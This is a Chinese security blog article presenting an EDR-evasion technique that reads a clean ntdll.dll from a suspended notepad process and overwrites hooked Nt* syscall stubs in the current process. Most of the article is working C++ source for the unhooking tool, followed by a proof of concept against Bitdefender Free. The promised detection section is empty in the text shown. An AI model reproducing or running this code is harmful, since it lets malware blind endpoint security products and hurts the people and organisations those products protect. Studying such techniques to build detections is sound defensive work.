精准打击EDR钩子:SuspendedProcess的选择性syscall救赎

admin 2026-01-01 05:25:24 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文提出选择性内存系统调用解钩技术,通过挂起进程获取干净ntdll镜像,精准替换被钩子的存根,实现无文件绕过EDR监控,并提供C++代码及YARA检测规则。 综合评分: 87 文章分类: 红队,免杀,二进制安全


cover_image

精准打击 EDR 钩子:Suspended Process 的选择性 syscall 救赎

Ots安全

2025年12月30日 17:38 广东

威胁简报

恶意软件

漏洞攻击

本文提出了一种名为“选择性内存系统调用解钩”的隐蔽方法,用于绕过用户模式钩子ntdll.dll。该技术首先创建一个挂起的子进程,以获取ntdll.dll内存中未被污染的系统调用副本,然后识别并仅将真正的系统调用存根恢复到当前进程的内存中ntdll.dll。通过模式匹配并从干净的内存镜像中复制23字节的系统调用序言(例如syscall\_prologue mov r10, rcx; mov eax,imm; syscall; ret),该方法无需访问磁盘即可解钩选定的函数。这既实现了无文件解钩的优势(避免磁盘I/O),又保持了进程的稳定性。我们提供了带注释的C++示例,并将该方法与传统的基于DLL的解钩方法、Hell’s/Heaven’s Gate以及Perun’s Fart进行了比较,分析了隐蔽性、兼容性、复杂性和检测方面的权衡。

介绍

现代EDR/AV工具通常会安装用户模式钩子(跳转或绕道)来ntdll.dll监控API/系统调用。红队成员会使用直接系统调用来应对这种情况,但硬编码的系统调用号会因操作系统版本而异,很容易触发警报。另一种常见的方法是从磁盘加载一个干净的ntdll.dll文件并提取系统调用,但文件访问模式(读取ntdll.dll)本身就会引起EDR的怀疑。例如,即使是读取并解析ntdll.dll磁盘的“间接系统调用”也会触发EDR警报。传统的“全新复制”技巧会将磁盘上的新文件映射ntdll.dll到覆盖钩子,但这涉及磁盘I/O,很容易被文件扫描防御机制捕获。

已经提出了一些替代方法。Hell ‘s Gate通过在运行时解析已加载 NTDLL 的导出表来动态查找系统调用号,从而避免了硬编码值或文件读取。Heaven ‘s Gate(WoW64 过渡)从 32 位主机执行 64 位有效载荷以绕过一些钩子。然而,Hell’s Gate 假设内存中的系统调用存根完好无损,而 Heaven’s Gate 则需要 32 位环境。Perun ‘s Fart是一种最新的技术,它生成一个挂起的进程来获取一个干净的 NTDLL,然后将其系统调用存根复制到当前进程中。本文在此基础上,选择性地仅恢复内存中被钩住的系统调用存根。在详细介绍我们的内存解除钩子方法之前,我们讨论了背景和挑战(钩子检测、版本漂移和磁盘标记)。

方法论

我们的方法分步骤进行,避免磁盘 I/O,并且只针对挂钩部分ntdll.dll:

  • 生成挂起进程:我们使用CreateProcess--sudoCREATE_SUSPENDED标志来启动一个良性子进程(例如 --sudo cmd.exe)。在初始状态下,子进程仅ntdll.dll加载了 NTDLL,尚未安装任何 EDR 钩子。重要的是,子进程的 NTDLL 将加载在与父进程相同的基地址,这允许我们在复制存根时使用一致的偏移量。
  • 定位并复制干净的 NTDLL:我们遍历子进程的进程环境块 (PBE) 来找到其ntdll.dll基址(或使用辅助方法)。然后,我们使用ReadProcessMemory该基址从挂起的进程读取整个 NTDLL 映像到本地缓冲区。映像大小取决于缓冲区中的 PE 头部(DOS/NT 头部)。此时,我们在内存中已获得一份干净的NTDLL 副本。
  • 解析导出表:我们解析IMAGE_EXPORT_DIRECTORY干净缓冲区和进程的导出表ntdll.dll。这将提供每个导出名称及其地址。我们重点关注名称以 \_ 开头的导出函数(原生 API)。通过遍历导出名称/序号表,我们可以获得干净副本和已加载模块中”Nt”每个函数存根的相对虚拟地址 (RVA) 。Nt*
  • 识别系统调用存根:对于每个目标函数,我们查找其系统调用存根。实际上,存根以一个已知的字节模式开头:(4C 8B D1 B8即 \n mov r10, rcx; mov eax,imm16/32),后跟(紧随其后的)0F 05 C3\n syscall; ret。我们在干净的缓冲区中扫描函数代码以确认此模式。一旦找到,则记录存根的偏移量。
  • 重映射钩子函数:使用匹配的 RVA(给定相同的基址),我们计算当前进程中钩子存根的地址。我们调用VirtualProtect该内存页以授予写入权限,然后将memcpy干净缓冲区中的存根字节(通常为 23 字节)精确写入钩子 NTDLL。这将用原始指令覆盖任何钩子或跳转指令。最后,我们恢复原始页面保护。
  • 清理:此时可以终止已挂起的进程。结果是,Nt我们进程中选定的函数现在包含真正的系统调用序列,已有效解除钩子,与干净的副本完全相同。

这种针对性的恢复方法保留了大部分原始 NTDLL,仅修改了被钩住的序言部分。仅使用内存操作和 VirtualProtect 技术避免了在磁盘上留下任何痕迹。

代码

这是GitHub仓库的链接:

  • https://github.com/S12cybersecurity/NtUnhook

主文件:

#include<iostream>
#include<Windows.h>
#include<unordered_map>
#include<vector>
#include"DetectHooks.h"
#include"GetNTDLLCleanCopy.h"

usingnamespacestd;

std::stringnormalize_function_name(conststd::string& name){
&nbsp; &nbsp;&nbsp;if&nbsp;(name.size() >&nbsp;2) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;name.substr(2);&nbsp;// Removes "Nt" or "Zw"
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;name;
}

voidRestoreHookedSyscalls(
&nbsp; &nbsp; BYTE* localNtdllBase,
&nbsp; &nbsp;&nbsp;conststd::unordered_map<std::string,&nbsp;unsignedlong>& hookedOffsets,
&nbsp; &nbsp;&nbsp;conststd::vector<SyscallStubInfo>& syscallStubs,
&nbsp; &nbsp; SIZE_T moduleSize,
&nbsp; &nbsp; BYTE* cleanBuffer)&nbsp;&nbsp;// pointer to the clean buffer of ntdll.dll
{
&nbsp; &nbsp; DWORD oldProtect =&nbsp;0;

&nbsp; &nbsp;&nbsp;for&nbsp;(std::unordered_map<std::string,&nbsp;unsignedlong>::const_iterator it = hookedOffsets.begin(); it != hookedOffsets.end(); ++it) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;conststd::string& funcName = it->first;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;unsignedlong&nbsp;hookedOffset = it->second;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::string&nbsp;normalizedHookName = normalize_function_name(funcName);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Search for corresponding clean stub ignoring the first two characters
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;const&nbsp;SyscallStubInfo* cleanStub =&nbsp;NULL;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;(size_t&nbsp;i =&nbsp;0; i < syscallStubs.size(); ++i) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::string&nbsp;normalizedStubName = normalize_function_name(syscallStubs[i].functionName);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(normalizedStubName == normalizedHookName) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cleanStub = &syscallStubs[i];
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!cleanStub) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"[!] Clean stub not found for function: "&nbsp;<< funcName <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T cleanStart = cleanStub->stubOffset;
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T cleanEnd = cleanStub->nextStubOffset;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(cleanEnd <= cleanStart) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"[!] Invalid stub offsets for function: "&nbsp;<< funcName <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T cleanSize = cleanEnd - cleanStart;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Check that the range doesn't go beyond the module
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(cleanStart + cleanSize > moduleSize) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"[!] Stub range out of module bounds for: "&nbsp;<< funcName <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; BYTE* targetAddr = localNtdllBase + hookedOffset;

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Change memory protection
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(!VirtualProtect(targetAddr, cleanSize, PAGE_EXECUTE_READWRITE, &oldProtect)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"[!] VirtualProtect failed for function: "&nbsp;<< funcName <<&nbsp;" Error: "&nbsp;<< GetLastError() <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;continue;
&nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Copy clean bytes from the local clean copy to the local ntdll
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;memcpy(targetAddr, cleanBuffer + cleanStart, cleanSize);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Restore protection
&nbsp; &nbsp; &nbsp; &nbsp; DWORD dummy =&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; VirtualProtect(targetAddr, cleanSize, oldProtect, &dummy);

&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;// Flush instruction cache
&nbsp; &nbsp; &nbsp; &nbsp; FlushInstructionCache(GetCurrentProcess(), targetAddr, cleanSize);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"[+] Restored syscall stub4: "&nbsp;<< funcName <<&nbsp;" at offset 0x"&nbsp;<<&nbsp;std::hex << hookedOffset <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; getchar();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"[+] Restored syscall stub: "&nbsp;<< funcName <<&nbsp;" at offset 0x"&nbsp;<<&nbsp;std::hex << hookedOffset <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp; getchar();
&nbsp; &nbsp; }
}

HANDLE&nbsp;createBenignProcess()
{
&nbsp; &nbsp; HANDLE hProcess =&nbsp;NULL;
&nbsp; &nbsp;&nbsp;int&nbsp;result =&nbsp;0;
&nbsp; &nbsp; STARTUPINFOA startupInfo = {&nbsp;0&nbsp;};
&nbsp; &nbsp; PROCESS_INFORMATION processInfo = {&nbsp;0&nbsp;};
&nbsp; &nbsp; BOOL createSuccess = CreateProcessA(NULL, (LPSTR)"notepad.exe",&nbsp;NULL,&nbsp;NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE,&nbsp;NULL,&nbsp;"C:\\Windows\\System32\\", &startupInfo, &processInfo);

&nbsp; &nbsp;&nbsp;if&nbsp;(createSuccess == FALSE) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;cout&nbsp;<<&nbsp;"[!] Error: Unable to invoke CreateProcess"&nbsp;<<&nbsp;endl;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnNULL;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;processInfo.hProcess;
}

intmain()
{
&nbsp; &nbsp;&nbsp;unordered_map<string, DWORD> hookedOffsets = GetHookedNtFunctionOffsets();
&nbsp; &nbsp;&nbsp;// Added for debug purposes
&nbsp; &nbsp; hookedOffsets["NtCreateThread"] =&nbsp;0;

&nbsp; &nbsp; HANDLE hProcess = createBenignProcess();
&nbsp; &nbsp;&nbsp;std::vector<BYTE> cleanBuffer;
&nbsp; &nbsp;&nbsp;vector<SyscallStubInfo> syscallStubs = GetSyscallStubs(hProcess, &cleanBuffer);
&nbsp; &nbsp;&nbsp;//hookedOffsets
&nbsp; &nbsp; getchar();

&nbsp; &nbsp; HMODULE hNtdllLocal = GetModuleHandle(L"ntdll.dll");
&nbsp; &nbsp;&nbsp;if&nbsp;(!hNtdllLocal) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"Failed to get handle of ntdll.dll locally\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{};
&nbsp; &nbsp; }

&nbsp; &nbsp; MODULEINFO modInfoLocal = {&nbsp;0&nbsp;};
&nbsp; &nbsp;&nbsp;if&nbsp;(!GetModuleInformation(GetCurrentProcess(), hNtdllLocal, &modInfoLocal,&nbsp;sizeof(modInfoLocal))) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"Failed to get local module information\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{};
&nbsp; &nbsp; }

&nbsp; &nbsp; BYTE* localBase =&nbsp;reinterpret_cast<BYTE*>(modInfoLocal.lpBaseOfDll);
&nbsp; &nbsp; SIZE_T moduleSize = modInfoLocal.SizeOfImage;

&nbsp; &nbsp; RestoreHookedSyscalls(localBase, hookedOffsets, syscallStubs, cleanBuffer.size(), cleanBuffer.data());
&nbsp; &nbsp;&nbsp;return0;
}

ntdll.dll这段 C++ 程序实现了一种技术,通过从已挂起的良性子进程中加载的干净系统调用存根副本中选择性地复制干净的系统调用存根,来恢复当前进程中ntdll.dll被钩住的系统调用存根。其目的是绕过安全软件(例如 EDR 或杀毒工具)通常设置的用户模式钩子。

该程序的核心在于首先规范化函数名称,移除诸如“Nt”或“Zw”之类的常见前缀,从而实现当前进程中被钩住的函数与其在挂起进程中对应的干净函数之间的一致性比较。这种规范化有助于在命名差异的情况下准确识别相应的系统调用存根。

负责恢复的主函数接收多个输入:局部变量的基地址ntdll.dll、已钩住函数名称及其偏移量的映射表、从干净ntdll.dll副本中获取的系统调用存根信息列表、模块大小以及指向干净字节的指针ntdll.dll。对于每个已钩住的函数,它通过比较规范化名称来查找匹配的干净存根。一旦找到匹配项,程序会验证存根偏移量是否在模块边界内,以避免内存访问错误。然后,它会临时修改已钩住存根区域的内存保护,使其可写,将干净存根字节复制到已钩住的代码上,恢复原始内存保护,并刷新指令缓存。此过程有效地将内存中已钩住的系统调用代码替换为原始的未钩住指令,从而恢复正常的系统调用行为。

为了获取干净的 DLL 文件ntdll.dll,程序会启动一个处于挂起状态的良性进程(例如记事本)。该进程会将一个未经任何修改的原始版本加载ntdll.dll到内存中。挂起状态确保 DLL 文件不会被任何后续可能安装的钩子或检测程序所篡改。然后,程序会读取该挂起进程的内存,提取干净的 DLL 字节并解析系统调用存根的详细信息。

在主执行流程中,程序首先检索本地目录中所有被钩住的函数偏移量列表ntdll.dll。然后,它创建一个挂起的良性进程,并从中提取干净的系统调用存根和干净的 DLL 缓冲区。在获取本地加载的模块信息后ntdll.dll,程序调用恢复函数,将当前进程中所有被钩住的系统调用存根替换为干净的版本。

GetNTDLLCleanCopy.h

#include<psapi.h>
#include<tlhelp32.h>
#include<iostream>
#include<vector>
#include<Psapi.h>
#include<string>
#include<map>

constexpr&nbsp;SIZE_T STUB_SIZE =&nbsp;16;
const&nbsp;BYTE NOP_PATTERN[8] = {&nbsp;0x0F,&nbsp;0x1F,&nbsp;0x84,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00,&nbsp;0x00&nbsp;};
const&nbsp;BYTE SYSCALL_OPCODE[2] = {&nbsp;0x0F,&nbsp;0x05&nbsp;};

structSyscallStubInfo&nbsp;{
&nbsp; &nbsp;&nbsp;std::string&nbsp;functionName;
&nbsp; &nbsp; SIZE_T stubOffset;
&nbsp; &nbsp; SIZE_T nopOffset;
&nbsp; &nbsp; SIZE_T nextStubOffset;
};

boolmemcmp_bytes(const&nbsp;BYTE* a,&nbsp;const&nbsp;BYTE* b, SIZE_T size){
&nbsp; &nbsp;&nbsp;for&nbsp;(SIZE_T i =&nbsp;0; i < size; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(a[i] != b[i])&nbsp;returnfalse;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returntrue;
}

boolcontains_syscall(const&nbsp;BYTE* start, SIZE_T size){
&nbsp; &nbsp;&nbsp;// Check if the buffer contains the syscall opcode (0F 05)
&nbsp; &nbsp;&nbsp;for&nbsp;(SIZE_T i =&nbsp;0; i +&nbsp;1&nbsp;< size; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(start[i] == SYSCALL_OPCODE[0] && start[i +&nbsp;1] == SYSCALL_OPCODE[1])&nbsp;returntrue;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;returnfalse;
}

SIZE_T&nbsp;find_stub_offset(const&nbsp;BYTE* buffer, SIZE_T current, SIZE_T max_back =&nbsp;16){
&nbsp; &nbsp;&nbsp;// Search backward up to max_back bytes to find the start of the syscall stub by pattern
&nbsp; &nbsp;&nbsp;for&nbsp;(SIZE_T i =&nbsp;0; i < max_back && current >= i +&nbsp;2; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(buffer[current - i] ==&nbsp;0x4C&nbsp;&& buffer[current - i +&nbsp;1] ==&nbsp;0x8B&nbsp;&& buffer[current - i +&nbsp;2] ==&nbsp;0xD1)
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;current - i;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;current;
}

std::map<SIZE_T,&nbsp;std::string> load_exports_from_buffer(BYTE* buffer) {
&nbsp; &nbsp;&nbsp;std::map<SIZE_T,&nbsp;std::string> exports;
&nbsp; &nbsp;&nbsp;auto&nbsp;dosHeader = (IMAGE_DOS_HEADER*)buffer;
&nbsp; &nbsp;&nbsp;auto&nbsp;ntHeaders = (IMAGE_NT_HEADERS*)(buffer + dosHeader->e_lfanew);
&nbsp; &nbsp; DWORD exportDirRVA = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
&nbsp; &nbsp;&nbsp;if&nbsp;(!exportDirRVA)&nbsp;return&nbsp;exports;
&nbsp; &nbsp;&nbsp;auto&nbsp;exportDir = (IMAGE_EXPORT_DIRECTORY*)(buffer + exportDirRVA);

&nbsp; &nbsp; DWORD* namesRVA = (DWORD*)(buffer + exportDir->AddressOfNames);
&nbsp; &nbsp; DWORD* funcsRVA = (DWORD*)(buffer + exportDir->AddressOfFunctions);
&nbsp; &nbsp; WORD* ordinals = (WORD*)(buffer + exportDir->AddressOfNameOrdinals);

&nbsp; &nbsp;&nbsp;// Load exported function RVAs and names into a map
&nbsp; &nbsp;&nbsp;for&nbsp;(DWORD i =&nbsp;0; i < exportDir->NumberOfNames; i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;constchar* funcName = (constchar*)(buffer + namesRVA[i]);
&nbsp; &nbsp; &nbsp; &nbsp; WORD ordinal = ordinals[i];
&nbsp; &nbsp; &nbsp; &nbsp; DWORD funcRVA = funcsRVA[ordinal];
&nbsp; &nbsp; &nbsp; &nbsp; exports[funcRVA] =&nbsp;std::string(funcName);
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;exports;
}

std::stringfind_function_name_by_rva(conststd::map<SIZE_T,&nbsp;std::string>& exports, SIZE_T rva){
&nbsp; &nbsp;&nbsp;// Finds the closest function name for a given RVA by searching the exports map
&nbsp; &nbsp;&nbsp;std::string&nbsp;lastName =&nbsp;"Unknown";
&nbsp; &nbsp;&nbsp;for&nbsp;(constauto& it : exports) {
&nbsp; &nbsp; &nbsp; &nbsp; SIZE_T addr = it.first;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;conststd::string& name = it.second;
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(addr > rva)&nbsp;break;
&nbsp; &nbsp; &nbsp; &nbsp; lastName = name;
&nbsp; &nbsp; }
&nbsp; &nbsp;&nbsp;return&nbsp;lastName;
}

boolGetRemoteModuleInfo(HANDLE hProcess,&nbsp;conststd::wstring& moduleName, BYTE*& baseAddress, SIZE_T& moduleSize){
&nbsp; &nbsp;&nbsp;// Get the base address and size of a module loaded in a remote process
&nbsp; &nbsp; HMODULE hMods[1024];
&nbsp; &nbsp; DWORD cbNeeded;

&nbsp; &nbsp;&nbsp;if&nbsp;(!EnumProcessModulesEx(hProcess, hMods,&nbsp;sizeof(hMods), &cbNeeded, LIST_MODULES_ALL)) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"EnumProcessModulesEx failed with error: "&nbsp;<< GetLastError() <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returnfalse;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;for&nbsp;(unsignedint&nbsp;i =&nbsp;0; i < (cbNeeded /&nbsp;sizeof(HMODULE)); i++) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;wchar_t&nbsp;modName[MAX_PATH];
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(GetModuleBaseNameW(hProcess, hMods[i], modName,&nbsp;sizeof(modName) /&nbsp;sizeof(wchar_t))) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(_wcsicmp(modName, moduleName.c_str()) ==&nbsp;0) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; MODULEINFO modInfo;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(GetModuleInformation(hProcess, hMods[i], &modInfo,&nbsp;sizeof(modInfo))) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; baseAddress = (BYTE*)modInfo.lpBaseOfDll;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; moduleSize = modInfo.SizeOfImage;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;returntrue;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"Failed to find "&nbsp;<<&nbsp;std::string(moduleName.begin(), moduleName.end()) <<&nbsp;" in remote process\n";
&nbsp; &nbsp;&nbsp;returnfalse;
}

std::vector<SyscallStubInfo> GetSyscallStubs(HANDLE hProcess,&nbsp;std::vector<BYTE>* outCleanBuffer =&nbsp;nullptr) {
&nbsp; &nbsp;&nbsp;// --- Get local ntdll.dll base address and size ---
&nbsp; &nbsp; HMODULE hNtdllLocal = GetModuleHandle(L"ntdll.dll");
&nbsp; &nbsp;&nbsp;if&nbsp;(!hNtdllLocal) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"Failed to get handle of ntdll.dll locally\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{};
&nbsp; &nbsp; }

&nbsp; &nbsp; MODULEINFO modInfoLocal = {&nbsp;0&nbsp;};
&nbsp; &nbsp;&nbsp;if&nbsp;(!GetModuleInformation(GetCurrentProcess(), hNtdllLocal, &modInfoLocal,&nbsp;sizeof(modInfoLocal))) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"Failed to get local module information\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{};
&nbsp; &nbsp; }

&nbsp; &nbsp; BYTE* localBase =&nbsp;reinterpret_cast<BYTE*>(modInfoLocal.lpBaseOfDll);
&nbsp; &nbsp; SIZE_T moduleSize = modInfoLocal.SizeOfImage;

&nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"Using local ntdll.dll base: "&nbsp;<<&nbsp;static_cast<void*>(localBase)
&nbsp; &nbsp; &nbsp; &nbsp; <<&nbsp;", size: "&nbsp;<< moduleSize <<&nbsp;" bytes\n";

&nbsp; &nbsp;&nbsp;// --- Read remote memory at the local ntdll base (assuming base addresses match) ---
&nbsp; &nbsp;&nbsp;std::vector<BYTE> remoteImage(moduleSize);
&nbsp; &nbsp; SIZE_T bytesRead =&nbsp;0;
&nbsp; &nbsp;&nbsp;if&nbsp;(!ReadProcessMemory(hProcess, localBase, remoteImage.data(), moduleSize, &bytesRead) || bytesRead != moduleSize) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cerr&nbsp;<<&nbsp;"Failed to read remote process memory at local ntdll.dll base\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;return&nbsp;{};
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;// Save clean copy in the output parameter if requested
&nbsp; &nbsp;&nbsp;if&nbsp;(outCleanBuffer) {
&nbsp; &nbsp; &nbsp; &nbsp; *outCleanBuffer = remoteImage;
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;auto&nbsp;exports = load_exports_from_buffer(remoteImage.data());
&nbsp; &nbsp;&nbsp;std::vector<SyscallStubInfo> stubs;

&nbsp; &nbsp;&nbsp;for&nbsp;(SIZE_T offset =&nbsp;0; offset + STUB_SIZE <= moduleSize; offset++) {
&nbsp; &nbsp; &nbsp; &nbsp; BYTE* stub_end = remoteImage.data() + offset + STUB_SIZE -&nbsp;sizeof(NOP_PATTERN);
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(memcmp_bytes(stub_end, NOP_PATTERN,&nbsp;sizeof(NOP_PATTERN))) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE_T stub_off = find_stub_offset(remoteImage.data(), offset);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;(contains_syscall(remoteImage.data() + stub_off, STUB_SIZE)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; SIZE_T corrected = (stub_off >=&nbsp;16) ? stub_off -&nbsp;16&nbsp;:&nbsp;0;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::string&nbsp;funcName = find_function_name_by_rva(exports, corrected);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; stubs.push_back({ funcName, corrected, offset + STUB_SIZE -&nbsp;sizeof(NOP_PATTERN), corrected + STUB_SIZE +&nbsp;16&nbsp;});
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; offset += STUB_SIZE -&nbsp;1;
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;for&nbsp;(constauto& s : stubs) {
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;"Syscall stub found:\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;" Function: "&nbsp;<< s.functionName <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;" Stub offset: 0x"&nbsp;<<&nbsp;std::hex << s.stubOffset <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;" NOP offset: 0x"&nbsp;<<&nbsp;std::hex << s.nopOffset <<&nbsp;"\n";
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;std::cout&nbsp;<<&nbsp;" Next stub offset: 0x"&nbsp;<<&nbsp;std::hex << s.nextStubOffset <<&nbsp;"\n\n";
&nbsp; &nbsp; }

&nbsp; &nbsp;&nbsp;return&nbsp;stubs;
}

这段代码会检查ntdll.dll当前进程中加载的模块,以检测可能被钩住的本地 API 函数。它通过解析 DLL 的导出目录来枚举所有导出的函数,并特别筛选出以“Nt”或“Zw”为前缀的函数,这些函数对应于系统调用相关的函数。对于每个函数,它会获取其相对虚拟地址 (RVA),并检查函数的起始字节中是否存在常见的跳转指令(例如 JMP 或短跳转),这些指令通常被安全软件安装的钩子或跳转指令使用。

如果在函数开头发现跳转指令,则该函数会被标记为可能已被钩住,其 RVA 值和函数名都会被记录在一个映射表中。这个包含已钩住函数及其偏移量的映射表随后可用于选择性地恢复或绕过这些钩子。

概念验证

现在让我们看看在启用了BitDefender 免费杀毒软件的系统上的执行情况:

我们可以使用x64dbg来检查钩子前后的情况。

初始钩子:

这条 jmp 指令代表钩子。

代码也能检测到它,就像第一个一样:

然后我们找到它们相对于ntdll.dll基地址的所有偏移量:

此后,钩子就消失了:

成功了!

检测

